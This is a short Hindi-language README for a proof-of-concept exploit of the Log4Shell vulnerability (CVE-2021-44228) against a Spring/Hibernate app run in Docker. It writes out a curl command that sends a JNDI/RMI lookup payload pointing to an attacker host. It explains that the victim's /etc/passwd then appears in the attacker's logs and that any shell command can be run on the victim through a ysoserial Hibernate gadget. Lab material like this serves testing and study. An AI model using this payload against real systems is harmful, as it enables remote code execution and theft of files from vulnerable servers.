
CVE-2021-44228 POC - Spring / Hibernate
यह POC Spring / Hibernate का उपयोग करता है, हालाँकि rmi -> deserialization का समान दृष्टिकोण किसी भी deserialization भेद्यता को ट्रिगर करने के लिए उपयोग किया जा सकता है।
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
आपको पीड़ित के /etc/passwd की सामग्री attacker कंटेनर के लॉग में दिखाई देनी चाहिए।
आप पीड़ित पर कोई भी shell command चलाने के लिए exploit सेवा में कमांड को बदल सकते हैं।
पीड़ित एक मानक starter spring app चला रहा है जिसमें "Spring Data JPA" (Hibernate के लिए), "Spring Web", और "H2" (डेटा स्टोर के रूप में) निर्भरताएँ हैं। इसके अतिरिक्त केवल 2 संशोधन किए गए हैं।
slf4j लॉगर को भेद्य log4j से बदल दिया गयासभी निर्भरताएँ अद्यतित हैं। कोई जादुई फ्लैग सक्षम नहीं हैं।
पीड़ित / पर एक POST-able एंडपॉइंट प्रदर्शित करता है जो अनुरोध को लॉग करेगा।
एक्सप्लॉइट ysoserial के एक फ़ोर्क पर निर्भर करता है जो Hibernate एक्सप्लॉइट जनरेटर का उपयोग करता है। एक्सप्लॉइट को hibernate के नवीनतम संस्करण के साथ काम करने के लिए हमें ysoserial को पुनः संकलित करने की आवश्यकता होगी।